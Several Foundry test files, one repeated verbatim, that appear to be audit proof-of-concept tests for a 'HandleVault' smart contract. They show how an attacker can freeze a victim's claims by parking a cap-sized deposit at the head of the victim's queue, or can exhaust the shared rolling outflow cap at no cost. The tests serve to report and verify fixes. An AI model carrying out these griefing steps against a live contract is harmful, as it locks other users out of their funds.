// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {HandleVault} from "src/HandleVault.sol";
import {MockUSDC} from "src/MockUSDC.sol";

/// Shows that a single open deposit that does not fit the remaining rolling cap blocks every
/// later, smaller deposit of the same (recipientId, token) queue, so a recipient can be made
/// unclaimable by anyone who deposits a cap-sized amount to them while the token sees any traffic.
contract HeadOfLineCapBlockTest is Test {
    uint256 internal constant AUTH_KEY = 0xA11CE;
    bytes32 internal constant VICTIM = keccak256("victim handle");
    bytes32 internal constant OTHER_USER = keccak256("other user handle");

    address internal owner;
    address internal griefer = makeAddr("griefer");
    address internal friend = makeAddr("friend");
    address internal otherSender = makeAddr("otherSender");
    address internal victimDest = makeAddr("victimDest");
    address internal otherDest = makeAddr("otherDest");
    MockUSDC internal usdc;
    HandleVault internal vault;

    function setUp() public {
        vm.warp(10 days);
        owner = vm.addr(AUTH_KEY);
        usdc = new MockUSDC(owner);
        // Deploy-script configuration: USDC minimum 1e6, USDC rolling cap 100_000e6.
        vault = new HandleVault(owner, address(usdc), 0.0001 ether, 1e6, 10 ether, 100_000e6);
        vm.startPrank(owner);
        usdc.mint(griefer, 100_000e6);
        usdc.mint(friend, 10e6);
        usdc.mint(otherSender, 10e6);
        vm.stopPrank();
    }

    function _deposit(address from, bytes32 recipientId, uint256 amount) internal returns (uint256) {
        vm.startPrank(from);
        usdc.approve(address(vault), amount);
        uint256 id = vault.depositFor(recipientId, address(usdc), amount);
        vm.stopPrank();
        return id;
    }

    function _sig(bytes32 recipientId, address dest, uint256 nonce, uint256 deadline)
        internal
        view
        returns (bytes memory)
    {
        bytes32 digest = vault.claimDigest(recipientId, dest, nonce, deadline);
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(AUTH_KEY, digest);
        return abi.encodePacked(r, s, v);
    }

    function _tokens() internal view returns (address[] memory list) {
        list = new address[](1);
        list[0] = address(usdc);
    }

    function test_smallDepositBehindCapSizedDepositIsUnclaimableWhileTokenHasTraffic() public {
        // 1. Griefer plants a deposit equal to the cap at the head of the victim's USDC queue.
        //    depositFor accepts it because amount == outflowCaps[usdc].
        _deposit(griefer, VICTIM, 100_000e6);
        // 2. A genuine sender sends the victim 10 USDC.
        _deposit(friend, VICTIM, 10e6);
        // 3. Ordinary traffic: another recipient claims 1 USDC within the last 24 hours.
        _deposit(otherSender, OTHER_USER, 1e6);
        uint256 deadline = block.timestamp + 1 hours;
        vault.claim(OTHER_USER, otherDest, _tokens(), 0, deadline, _sig(OTHER_USER, otherDest, 0, deadline));

        // Remaining cap is 99_999 USDC, far more than the 10 USDC deposit that is queued.
        assertEq(vault.remainingOutflow(address(usdc)), 99_999e6);

        // 4. The victim claims. The 10 USDC deposit fits the remaining cap, but _sweep breaks at the
        //    cap-sized head (src/HandleVault.sol:460-463) and the call reverts OutflowCapExceeded.
        uint256 count =
            vault.claim(VICTIM, victimDest, _tokens(), 0, deadline, _sig(VICTIM, victimDest, 0, deadline));
        assertGe(count, 1, "the fitting 10 USDC deposit should have been swept");
        assertEq(usdc.balanceOf(victimDest), 10e6, "victim should receive the 10 USDC that fits the cap");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {HandleVault} from "src/HandleVault.sol";
import {MockUSDC} from "src/MockUSDC.sol";

/// A refundable, cap-sized deposit at the head of a recipient's FIFO token queue blocks every
/// deposit behind it whenever the rolling window is not completely empty. The attacker keeps the
/// window non-empty with a 1 USDC zero-fee self-claim per day, so the victim can never claim the
/// genuine 100 USDC gift sitting behind the blocker, and the blocker is refunded to the attacker
/// after 180 days. Fails on the current code (claim reverts OutflowCapExceeded); passes once
/// _sweep skips a deposit that does not fit instead of stopping the whole queue.
contract CapGriefingTest is Test {
    uint256 internal constant OWNER_KEY = 0xA11CE;
    bytes32 internal constant VICTIM = keccak256("victim handle");
    bytes32 internal constant ATTACKER_HANDLE = keccak256("attacker handle");
    uint256 internal constant CAP = 100_000e6;

    address internal owner;
    address internal attacker;
    address internal friend;
    address internal victimDest;
    MockUSDC internal usdc;
    HandleVault internal vault;

    function setUp() public {
        vm.chainId(11_155_111);
        vm.warp(10 days);
        owner = vm.addr(OWNER_KEY);
        attacker = makeAddr("attacker");
        friend = makeAddr("friend");
        victimDest = makeAddr("victim destination");
        usdc = new MockUSDC(owner);
        vault = new HandleVault(owner, address(usdc), 0.0001 ether, 1e6, 10 ether, CAP);
        vm.startPrank(owner);
        usdc.mint(attacker, CAP + 1_000e6);
        usdc.mint(friend, 1_000e6);
        vm.stopPrank();
    }

    function _sig(bytes32 recipientId, address dest, uint256 nonce, uint256 deadline)
        internal
        view
        returns (bytes memory)
    {
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(OWNER_KEY, vault.claimDigest(recipientId, dest, nonce, deadline));
        return abi.encodePacked(r, s, v);
    }

    function _deposit(address from, bytes32 recipientId, uint256 amount) internal returns (uint256 id) {
        vm.startPrank(from);
        usdc.approve(address(vault), amount);
        id = vault.depositFor(recipientId, address(usdc), amount);
        vm.stopPrank();
    }

    function _tokens() internal view returns (address[] memory list) {
        list = new address[](1);
        list[0] = address(usdc);
    }

    function test_victimDepositBehindCapSizedHeadIsUnclaimable() public {
        uint256 blocker = _deposit(attacker, VICTIM, CAP);
        uint256 genuine = _deposit(friend, VICTIM, 100e6);

        // Attacker keeps the rolling window non-empty with a 1 USDC self-claim at zero fee.
        _deposit(attacker, ATTACKER_HANDLE, 1e6);
        uint256 deadline = vm.getBlockTimestamp() + 1 hours;
        vault.claim(ATTACKER_HANDLE, attacker, _tokens(), 0, deadline, _sig(ATTACKER_HANDLE, attacker, 0, deadline));
        assertEq(vault.remainingOutflow(address(usdc)), CAP - 1e6, "99,999 USDC of cap remain");

        // The victim presents a valid authorizer signature. The 100 USDC deposit fits the
        // remaining cap, yet the whole token queue is stopped at the 100,000 USDC head.
        vault.claim(VICTIM, victimDest, _tokens(), 1, deadline, _sig(VICTIM, victimDest, 1, deadline));

        assertEq(usdc.balanceOf(victimDest), 100e6, "genuine deposit should have been paid");
        assertEq(uint8(_status(genuine)), uint8(HandleVault.Status.Claimed));
        assertEq(uint8(_status(blocker)), uint8(HandleVault.Status.Open));
    }

    function _status(uint256 id) internal view returns (HandleVault.Status status) {
        (,,,,, status) = vault.deposits(id);
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {HandleVault} from "src/HandleVault.sol";
import {MockUSDC} from "src/MockUSDC.sol";

/// @notice Shows that the per-token rolling cap is a single shared budget that any unprivileged
/// user can consume for free (fee 0), and that a cap-sized deposit blocks a victim's FIFO queue.
contract CapGriefingTest is Test {
    uint256 internal constant AUTHORIZER_KEY = 0xA11CE;
    uint256 internal constant CAP = 100_000e6;
    bytes32 internal constant VICTIM = keccak256("victim handle");
    bytes32 internal constant ATTACKER_HANDLE = keccak256("attacker handle");
    bytes32 internal constant BYSTANDER = keccak256("bystander handle");

    address internal owner;
    address internal attacker = makeAddr("attacker");
    address internal friend = makeAddr("friend");
    address internal victimWallet = makeAddr("victim wallet");
    address internal bystanderWallet = makeAddr("bystander wallet");
    MockUSDC internal usdc;
    HandleVault internal vault;

    function setUp() public {
        vm.chainId(11_155_111);
        vm.warp(10 days);
        owner = vm.addr(AUTHORIZER_KEY);
        usdc = new MockUSDC(owner);
        // Deploy-script values: 1 mUSDC minimum, 100,000 mUSDC rolling cap, fee 0.
        vault = new HandleVault(owner, address(usdc), 0.0001 ether, 1e6, 10 ether, CAP);
        vm.startPrank(owner);
        usdc.mint(attacker, CAP);
        usdc.mint(friend, 1_000e6);
        vm.stopPrank();
    }

    function _deposit(address from, bytes32 id, uint256 amount) internal returns (uint256) {
        vm.startPrank(from);
        usdc.approve(address(vault), amount);
        uint256 depositId = vault.depositFor(id, address(usdc), amount);
        vm.stopPrank();
        return depositId;
    }

    function _sig(bytes32 id, address dest, uint256 nonce, uint256 deadline) internal view returns (bytes memory) {
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(AUTHORIZER_KEY, vault.claimDigest(id, dest, nonce, deadline));
        return abi.encodePacked(r, s, v);
    }

    function _claim(bytes32 id, address dest, uint256 nonce) internal returns (uint256) {
        address[] memory tokens = new address[](1);
        tokens[0] = address(usdc);
        uint256 deadline = vm.getBlockTimestamp() + 1 hours;
        return vault.claim(id, dest, tokens, nonce, deadline, _sig(id, dest, nonce, deadline));
    }

    /// Finding 1: the attacker cycles the full cap through their own legitimately attested handle
    /// every 24 hours. With feeBps = 0 the attacker ends each cycle with the same balance, so the
    /// only cost is gas. Every other recipient's claim in that token reverts for as long as it runs.
    function test_unprivilegedUserExhaustsSharedCapForFree() public {
        _deposit(friend, VICTIM, 5e6);
        for (uint256 day; day < 3; ++day) {
            uint256 before = usdc.balanceOf(attacker);
            _deposit(attacker, ATTACKER_HANDLE, CAP);
            assertEq(_claim(ATTACKER_HANDLE, attacker, day), 1);
            assertEq(usdc.balanceOf(attacker), before, "cycle is free at fee 0");
            assertEq(vault.remainingOutflow(address(usdc)), 0);
            vm.warp(vm.getBlockTimestamp() + 24 hours);
        }
        // Attacker refreshes right at window roll-over, before the victim's relayer lands.
        _deposit(attacker, ATTACKER_HANDLE, CAP);
        _claim(ATTACKER_HANDLE, attacker, 99);
        // Expected: the victim's 5 mUSDC deposit is claimable. Actual: OutflowCapExceeded.
        assertEq(_claim(VICTIM, victimWallet, 0), 1, "victim should be able to claim her 5 mUSDC");
    }

    /// Finding 2: a single deposit of exactly the cap, which depositFor accepts, sits in the victim's
    /// FIFO queue and blocks every later deposit for that token whenever any other claim at all has
    /// happened in the last 24 hours. The attacker gets the full amount back after 180 days.
    function test_capSizedDepositBlocksEveryLaterDepositBehindIt() public {
        uint256 spamId = _deposit(attacker, VICTIM, CAP);
        uint256 realId = _deposit(friend, VICTIM, 5e6);
        // Ordinary unrelated traffic: a bystander claims 1 mUSDC somewhere in the window.
        _deposit(friend, BYSTANDER, 1e6);
        _claim(BYSTANDER, bystanderWallet, 0);
        assertEq(vault.remainingOutflow(address(usdc)), CAP - 1e6);

        // Expected: the victim can at least sweep the 5 mUSDC that fits. Actual: whole queue blocked.
        address[] memory tokens = new address[](1);
        tokens[0] = address(usdc);
        uint256 deadline = vm.getBlockTimestamp() + 1 hours;
        bytes memory sig = _sig(VICTIM, victimWallet, 0, deadline);
        (bool ok,) = address(vault).call(
            abi.encodeCall(HandleVault.claim, (VICTIM, victimWallet, tokens, 0, deadline, sig))
        );
        assertTrue(ok, "victim claim reverted with OutflowCapExceeded although 5 mUSDC fits");
        (,,,,, HandleVault.Status realStatus) = vault.deposits(realId);
        assertEq(uint8(realStatus), uint8(HandleVault.Status.Claimed));

        // The spammer recovers its capital in full after the refund delay.
        vm.warp(vm.getBlockTimestamp() + 180 days);
        vault.refund(spamId);
        assertEq(usdc.balanceOf(attacker), CAP);
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {HandleVault} from "src/HandleVault.sol";
import {MockUSDC} from "src/MockUSDC.sol";

/// @notice Shows that the per-token rolling cap is a single shared budget that any unprivileged
/// user can consume for free (fee 0), and that a cap-sized deposit blocks a victim's FIFO queue.
contract CapGriefingTest is Test {
    uint256 internal constant AUTHORIZER_KEY = 0xA11CE;
    uint256 internal constant CAP = 100_000e6;
    bytes32 internal constant VICTIM = keccak256("victim handle");
    bytes32 internal constant ATTACKER_HANDLE = keccak256("attacker handle");
    bytes32 internal constant BYSTANDER = keccak256("bystander handle");

    address internal owner;
    address internal attacker = makeAddr("attacker");
    address internal friend = makeAddr("friend");
    address internal victimWallet = makeAddr("victim wallet");
    address internal bystanderWallet = makeAddr("bystander wallet");
    MockUSDC internal usdc;
    HandleVault internal vault;

    function setUp() public {
        vm.chainId(11_155_111);
        vm.warp(10 days);
        owner = vm.addr(AUTHORIZER_KEY);
        usdc = new MockUSDC(owner);
        // Deploy-script values: 1 mUSDC minimum, 100,000 mUSDC rolling cap, fee 0.
        vault = new HandleVault(owner, address(usdc), 0.0001 ether, 1e6, 10 ether, CAP);
        vm.startPrank(owner);
        usdc.mint(attacker, CAP);
        usdc.mint(friend, 1_000e6);
        vm.stopPrank();
    }

    function _deposit(address from, bytes32 id, uint256 amount) internal returns (uint256) {
        vm.startPrank(from);
        usdc.approve(address(vault), amount);
        uint256 depositId = vault.depositFor(id, address(usdc), amount);
        vm.stopPrank();
        return depositId;
    }

    function _sig(bytes32 id, address dest, uint256 nonce, uint256 deadline) internal view returns (bytes memory) {
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(AUTHORIZER_KEY, vault.claimDigest(id, dest, nonce, deadline));
        return abi.encodePacked(r, s, v);
    }

    function _claim(bytes32 id, address dest, uint256 nonce) internal returns (uint256) {
        address[] memory tokens = new address[](1);
        tokens[0] = address(usdc);
        uint256 deadline = vm.getBlockTimestamp() + 1 hours;
        return vault.claim(id, dest, tokens, nonce, deadline, _sig(id, dest, nonce, deadline));
    }

    /// Finding 1: the attacker cycles the full cap through their own legitimately attested handle
    /// every 24 hours. With feeBps = 0 the attacker ends each cycle with the same balance, so the
    /// only cost is gas. Every other recipient's claim in that token reverts for as long as it runs.
    function test_unprivilegedUserExhaustsSharedCapForFree() public {
        _deposit(friend, VICTIM, 5e6);
        for (uint256 day; day < 3; ++day) {
            uint256 before = usdc.balanceOf(attacker);
            _deposit(attacker, ATTACKER_HANDLE, CAP);
            assertEq(_claim(ATTACKER_HANDLE, attacker, day), 1);
            assertEq(usdc.balanceOf(attacker), before, "cycle is free at fee 0");
            assertEq(vault.remainingOutflow(address(usdc)), 0);
            vm.warp(vm.getBlockTimestamp() + 24 hours);
        }
        // Attacker refreshes right at window roll-over, before the victim's relayer lands.
        _deposit(attacker, ATTACKER_HANDLE, CAP);
        _claim(ATTACKER_HANDLE, attacker, 99);
        // Expected: the victim's 5 mUSDC deposit is claimable. Actual: OutflowCapExceeded.
        assertEq(_claim(VICTIM, victimWallet, 0), 1, "victim should be able to claim her 5 mUSDC");
    }

    /// Finding 2: a single deposit of exactly the cap, which depositFor accepts, sits in the victim's
    /// FIFO queue and blocks every later deposit for that token whenever any other claim at all has
    /// happened in the last 24 hours. The attacker gets the full amount back after 180 days.
    function test_capSizedDepositBlocksEveryLaterDepositBehindIt() public {
        uint256 spamId = _deposit(attacker, VICTIM, CAP);
        uint256 realId = _deposit(friend, VICTIM, 5e6);
        // Ordinary unrelated traffic: a bystander claims 1 mUSDC somewhere in the window.
        _deposit(friend, BYSTANDER, 1e6);
        _claim(BYSTANDER, bystanderWallet, 0);
        assertEq(vault.remainingOutflow(address(usdc)), CAP - 1e6);

        // Expected: the victim can at least sweep the 5 mUSDC that fits. Actual: whole queue blocked.
        address[] memory tokens = new address[](1);
        tokens[0] = address(usdc);
        uint256 deadline = vm.getBlockTimestamp() + 1 hours;
        bytes memory sig = _sig(VICTIM, victimWallet, 0, deadline);
        (bool ok,) = address(vault).call(
            abi.encodeCall(HandleVault.claim, (VICTIM, victimWallet, tokens, 0, deadline, sig))
        );
        assertTrue(ok, "victim claim reverted with OutflowCapExceeded although 5 mUSDC fits");
        (,,,,, HandleVault.Status realStatus) = vault.deposits(realId);
        assertEq(uint8(realStatus), uint8(HandleVault.Status.Claimed));

        // The spammer recovers its capital in full after the refund delay.
        vm.warp(vm.getBlockTimestamp() + 180 days);
        vault.refund(spamId);
        assertEq(usdc.balanceOf(attacker), CAP);
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {HandleVault} from "src/HandleVault.sol";
import {MockUSDC} from "src/MockUSDC.sol";

/// @notice An unprivileged depositor can make a recipient unclaimable for a token by placing a
/// deposit at the head of that recipient's FIFO queue that is larger than the cap capacity that
/// is ever available while the vault sees ordinary traffic. The deposit passes `_checkDeposit`
/// (amount <= cap) but `_sweep` stops the whole queue at a head that does not fit `remainingOutflow`,
/// so every later deposit for that recipient is stuck behind it until the attacker refunds (180 days).
contract HeadBlockProof is Test {
    uint256 internal constant OWNER_KEY = 0xA11CE;
    bytes32 internal constant VICTIM = keccak256("victim handle");
    bytes32 internal constant OTHER_USER = keccak256("some other user");

    address internal owner;
    address internal attacker;
    address internal friend;
    address internal dest;
    MockUSDC internal usdc;
    HandleVault internal vault;

    function setUp() public {
        vm.chainId(11_155_111);
        vm.warp(10 days);
        owner = vm.addr(OWNER_KEY);
        attacker = makeAddr("attacker");
        friend = makeAddr("friend");
        dest = makeAddr("victim destination");
        usdc = new MockUSDC(owner);
        // Deploy-script values: 1 USDC minimum, 100_000 USDC rolling 24h cap.
        vault = new HandleVault(owner, address(usdc), 0.0001 ether, 1e6, 10 ether, 100_000e6);
        vm.startPrank(owner);
        usdc.mint(attacker, 100_000e6);
        usdc.mint(friend, 1_000e6);
        vm.stopPrank();
    }

    function _sign(bytes32 recipientId, address destination, uint256 nonce, uint256 deadline)
        internal
        view
        returns (bytes memory)
    {
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(OWNER_KEY, vault.claimDigest(recipientId, destination, nonce, deadline));
        return abi.encodePacked(r, s, v);
    }

    function _deposit(address from, bytes32 recipientId, uint256 amount) internal returns (uint256 id) {
        vm.startPrank(from);
        usdc.approve(address(vault), amount);
        id = vault.depositFor(recipientId, address(usdc), amount);
        vm.stopPrank();
    }

    function test_unprivilegedHeadDepositBlocksEveryLaterDepositForRecipient() public {
        address[] memory tokens = new address[](1);
        tokens[0] = address(usdc);

        // 1. Attacker deposits exactly the cap to the victim's handle. Accepted: amount <= cap.
        _deposit(attacker, VICTIM, 100_000e6);

        // 2. A friend later sends the victim 50 USDC. This is the deposit the victim actually wants.
        uint256 friendDeposit = _deposit(friend, VICTIM, 50e6);

        // 3. Ordinary traffic: any other recipient claims anything in the same 24h window.
        _deposit(friend, OTHER_USER, 1e6);
        uint256 deadline = vm.getBlockTimestamp() + 1 hours;
        vault.claim(OTHER_USER, makeAddr("other dest"), tokens, 0, deadline, _sign(OTHER_USER, makeAddr("other dest"), 0, deadline));
        assertEq(vault.remainingOutflow(address(usdc)), 100_000e6 - 1e6);

        // 4. The victim, with a valid authorizer signature, cannot claim the 50 USDC that fits the
        //    remaining cap, because the attacker's deposit sits at the head and the sweep stops there.
        //    Expected: the claim pays the 50 USDC deposit and leaves the oversized one open.
        //    Actual on current code: revert OutflowCapExceeded, nothing paid, for as long as the
        //    attacker's deposit is open (attacker can refund it after 180 days and re-deposit).
        uint256 count = vault.claim(VICTIM, dest, tokens, 0, deadline, _sign(VICTIM, dest, 0, deadline));
        assertEq(count, 1, "claim should sweep the deposit that fits the cap");
        assertEq(usdc.balanceOf(dest), 50e6, "victim should receive the friend's deposit");
        (,,,,, HandleVault.Status status) = vault.deposits(friendDeposit);
        assertEq(uint8(status), uint8(HandleVault.Status.Claimed));
        // Contract balance still equals open deposits plus fees.
        assertEq(usdc.balanceOf(address(vault)), vault.totalOpen(address(usdc)) + vault.accruedFees(address(usdc)));
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {HandleVault} from "src/HandleVault.sol";
import {MockUSDC} from "src/MockUSDC.sol";

/// @notice An unprivileged depositor parks a cap-sized deposit at the head of a victim's FIFO
/// token queue. depositFor accepts it (amount <= cap), but _sweep stops the whole queue at a head
/// that does not fit remainingOutflow(token), so every later deposit for that recipient is
/// unclaimable whenever any claim of that token happened in the last 24 hours.
/// Fails on the current code with OutflowCapExceeded(); passes once _sweep skips a deposit that
/// does not fit (or deposits are bounded so a single one can always fit a partly used window).
contract HeadOfLineBlockProof is Test {
    uint256 internal constant OWNER_KEY = 0xA11CE;
    bytes32 internal constant VICTIM = keccak256("victim handle");
    bytes32 internal constant OTHER_USER = keccak256("some other user");

    address internal owner;
    address internal attacker;
    address internal friend;
    address internal dest;
    MockUSDC internal usdc;
    HandleVault internal vault;

    function setUp() public {
        vm.chainId(11_155_111);
        vm.warp(10 days);
        owner = vm.addr(OWNER_KEY);
        attacker = makeAddr("attacker");
        friend = makeAddr("friend");
        dest = makeAddr("victim destination");
        usdc = new MockUSDC(owner);
        // Deploy-script values: 1 mUSDC minimum, 100_000 mUSDC rolling 24h cap, fee 0.
        vault = new HandleVault(owner, address(usdc), 0.0001 ether, 1e6, 10 ether, 100_000e6);
        vm.startPrank(owner);
        usdc.mint(attacker, 100_000e6);
        usdc.mint(friend, 1_000e6);
        vm.stopPrank();
    }

    function _sign(bytes32 recipientId, address destination, uint256 nonce, uint256 deadline)
        internal
        view
        returns (bytes memory)
    {
        (uint8 v, bytes32 r, bytes32 s) =
            vm.sign(OWNER_KEY, vault.claimDigest(recipientId, destination, nonce, deadline));
        return abi.encodePacked(r, s, v);
    }

    function _deposit(address from, bytes32 recipientId, uint256 amount) internal returns (uint256 id) {
        vm.startPrank(from);
        usdc.approve(address(vault), amount);
        id = vault.depositFor(recipientId, address(usdc), amount);
        vm.stopPrank();
    }

    function test_capSizedHeadDepositBlocksEveryLaterDepositForRecipient() public {
        address[] memory tokens = new address[](1);
        tokens[0] = address(usdc);

        // 1. Attacker deposits exactly the cap to the victim's handle. Accepted: amount <= cap.
        uint256 blocker = _deposit(attacker, VICTIM, 100_000e6);

        // 2. A friend later sends the victim 50 mUSDC. This is the deposit the victim wants.
        uint256 friendDeposit = _deposit(friend, VICTIM, 50e6);

        // 3. Ordinary traffic: any other recipient claims anything in the same 24h window.
        _deposit(friend, OTHER_USER, 1e6);
        uint256 deadline = vm.getBlockTimestamp() + 1 hours;
        address otherDest = makeAddr("other dest");
        vault.claim(OTHER_USER, otherDest, tokens, 0, deadline, _sign(OTHER_USER, otherDest, 0, deadline));
        assertEq(vault.remainingOutflow(address(usdc)), 100_000e6 - 1e6);

        // 4. Victim relays a valid authorizer signature. Expected: the 50 mUSDC deposit, which fits
        //    the remaining cap, is paid and the oversized head stays open.
        //    Actual on current code: revert OutflowCapExceeded(), nothing paid.
        uint256 count = vault.claim(VICTIM, dest, tokens, 0, deadline, _sign(VICTIM, dest, 0, deadline));
        assertEq(count, 1, "claim should sweep the deposit that fits the cap");
        assertEq(usdc.balanceOf(dest), 50e6, "victim should receive the friend's deposit");
        (,,,,, HandleVault.Status friendStatus) = vault.deposits(friendDeposit);
        assertEq(uint8(friendStatus), uint8(HandleVault.Status.Claimed));
        (,,,,, HandleVault.Status blockerStatus) = vault.deposits(blocker);
        assertEq(uint8(blockerStatus), uint8(HandleVault.Status.Open));
        assertEq(usdc.balanceOf(address(vault)), vault.totalOpen(address(usdc)) + vault.accruedFees(address(usdc)));

        // 5. The attacker's capital is fully recoverable after the refund delay.
        vm.warp(vm.getBlockTimestamp() + 180 days);
        vault.refund(blocker);
        assertEq(usdc.balanceOf(attacker), 100_000e6);
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {HandleVault} from "src/HandleVault.sol";
import {MockUSDC} from "src/MockUSDC.sol";

/// @notice The per-token rolling cap is one budget shared by every recipient. With feeBps = 0 an
/// unprivileged user who controls any handle deposits the cap to their own handle and claims it
/// straight back, ending with the same balance and remainingOutflow(token) == 0. Every other
/// recipient's claim in that token then reverts for 24 hours, and the cycle repeats at each
/// roll-over. Fails on the current code with OutflowCapExceeded(); passes once a claimant cannot
/// consume the whole global window alone (per-recipient share or second per-recipient cap).
contract SharedCapExhaustionProof is Test {
    uint256 internal constant AUTHORIZER_KEY = 0xA11CE;
    uint256 internal constant CAP = 100_000e6;
    bytes32 internal constant VICTIM = keccak256("victim handle");
    bytes32 internal constant ATTACKER_HANDLE = keccak256("attacker handle");

    address internal owner;
    address internal attacker = makeAddr("attacker");
    address internal friend = makeAddr("friend");
    address internal victimWallet = makeAddr("victim wallet");
    MockUSDC internal usdc;
    HandleVault internal vault;

    function setUp() public {
        vm.chainId(11_155_111);
        vm.warp(10 days);
        owner = vm.addr(AUTHORIZER_KEY);
        usdc = new MockUSDC(owner);
        // Deploy-script values: 1 mUSDC minimum, 100,000 mUSDC rolling cap, fee 0.
        vault = new HandleVault(owner, address(usdc), 0.0001 ether, 1e6, 10 ether, CAP);
        vm.startPrank(owner);
        usdc.mint(attacker, CAP);
        usdc.mint(friend, 1_000e6);
        vm.stopPrank();
    }

    function _deposit(address from, bytes32 id, uint256 amount) internal returns (uint256) {
        vm.startPrank(from);
        usdc.approve(address(vault), amount);
        uint256 depositId = vault.depositFor(id, address(usdc), amount);
        vm.stopPrank();
        return depositId;
    }

    function _sig(bytes32 id, address dest, uint256 nonce, uint256 deadline) internal view returns (bytes memory) {
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(AUTHORIZER_KEY, vault.claimDigest(id, dest, nonce, deadline));
        return abi.encodePacked(r, s, v);
    }

    function _claim(bytes32 id, address dest, uint256 nonce) internal returns (uint256) {
        address[] memory tokens = new address[](1);
        tokens[0] = address(usdc);
        uint256 deadline = vm.getBlockTimestamp() + 1 hours;
        return vault.claim(id, dest, tokens, nonce, deadline, _sig(id, dest, nonce, deadline));
    }

    function test_unprivilegedUserExhaustsSharedCapForFree() public {
        _deposit(friend, VICTIM, 5e6);
        for (uint256 day; day < 3; ++day) {
            uint256 before = usdc.balanceOf(attacker);
            _deposit(attacker, ATTACKER_HANDLE, CAP);
            assertEq(_claim(ATTACKER_HANDLE, attacker, day), 1);
            assertEq(usdc.balanceOf(attacker), before, "cycle is free at fee 0");
            assertEq(vault.remainingOutflow(address(usdc)), 0);
            vm.warp(vm.getBlockTimestamp() + 24 hours);
        }
        // Attacker refreshes right at window roll-over, before the victim's relayer lands.
        _deposit(attacker, ATTACKER_HANDLE, CAP);
        _claim(ATTACKER_HANDLE, attacker, 99);
        // Expected: the victim's 5 mUSDC deposit is claimable. Actual: revert OutflowCapExceeded().
        assertEq(_claim(VICTIM, victimWallet, 0), 1, "victim should be able to claim 5 mUSDC");
        assertEq(usdc.balanceOf(victimWallet), 5e6);
    }
}